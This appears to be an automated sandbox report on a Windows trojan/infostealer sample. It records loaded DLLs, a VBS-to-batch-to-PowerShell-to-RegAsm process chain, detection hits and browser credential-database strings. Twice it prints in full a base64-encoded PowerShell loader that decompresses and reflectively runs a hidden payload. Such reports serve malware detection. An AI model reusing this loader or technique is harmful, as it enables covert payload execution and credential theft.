Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: yU3icg18lq.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: Process Memory Space: powershell.exe PID: 5304, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7252, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@15/36@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_6CDB7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

13_2_6CDB7030

Source: C:\Users\user\Desktop\yU3icg18lq.exe

0_2_00403532

Source: C:\Users\user\Desktop\yU3icg18lq.exe

Code function: 0_2_004049C7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049C7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0040F039 _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

13_2_0040F039

Source: C:\Users\user\Desktop\yU3icg18lq.exe

Code function: 0_2_004021AF CoCreateInstance,

0_2_004021AF

Source: C:\Users\user\Desktop\yU3icg18lq.exe

File created: C:\Users\user\start.vbs

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:808:120:WilError_03

Source: C:\Users\user\Desktop\yU3icg18lq.exe

File created: C:\Users\user\AppData\Local\Temp\nsf5EDD.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "

Source: C:\Users\user\Desktop\yU3icg18lq.exe

Process created: C:\Windows\SysWOW64\wscript.exe "wscript.exe" "C:\Users\user\start.vbs"

Source: yU3icg18lq.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\yU3icg18lq.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\yU3icg18lq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, sqlm[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, sqlm[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, sqlm[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, sqlm[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, sqlm[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, sqlm[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: DGHIDHCAAKECGCBFIJDB.13.dr, ECAFHIIJJECGDHIEGDAK.13.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: yU3icg18lq.exe	ReversingLabs: Detection: 21%
Source: yU3icg18lq.exe	Virustotal: Detection: 23%

Source: C:\Users\user\Desktop\yU3icg18lq.exe

File read: C:\Users\user\Desktop\yU3icg18lq.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\yU3icg18lq.exe "C:\Users\user\Desktop\yU3icg18lq.exe"
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Process created: C:\Windows\SysWOW64\wscript.exe "wscript.exe" "C:\Users\user\start.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) \| Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Process created: C:\Windows\SysWOW64\wscript.exe "wscript.exe" "C:\Users\user\start.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) \| Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\yU3icg18lq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: yU3icg18lq.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.13.dr, freebl3[1].dll.13.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.13.dr, freebl3[1].dll.13.dr
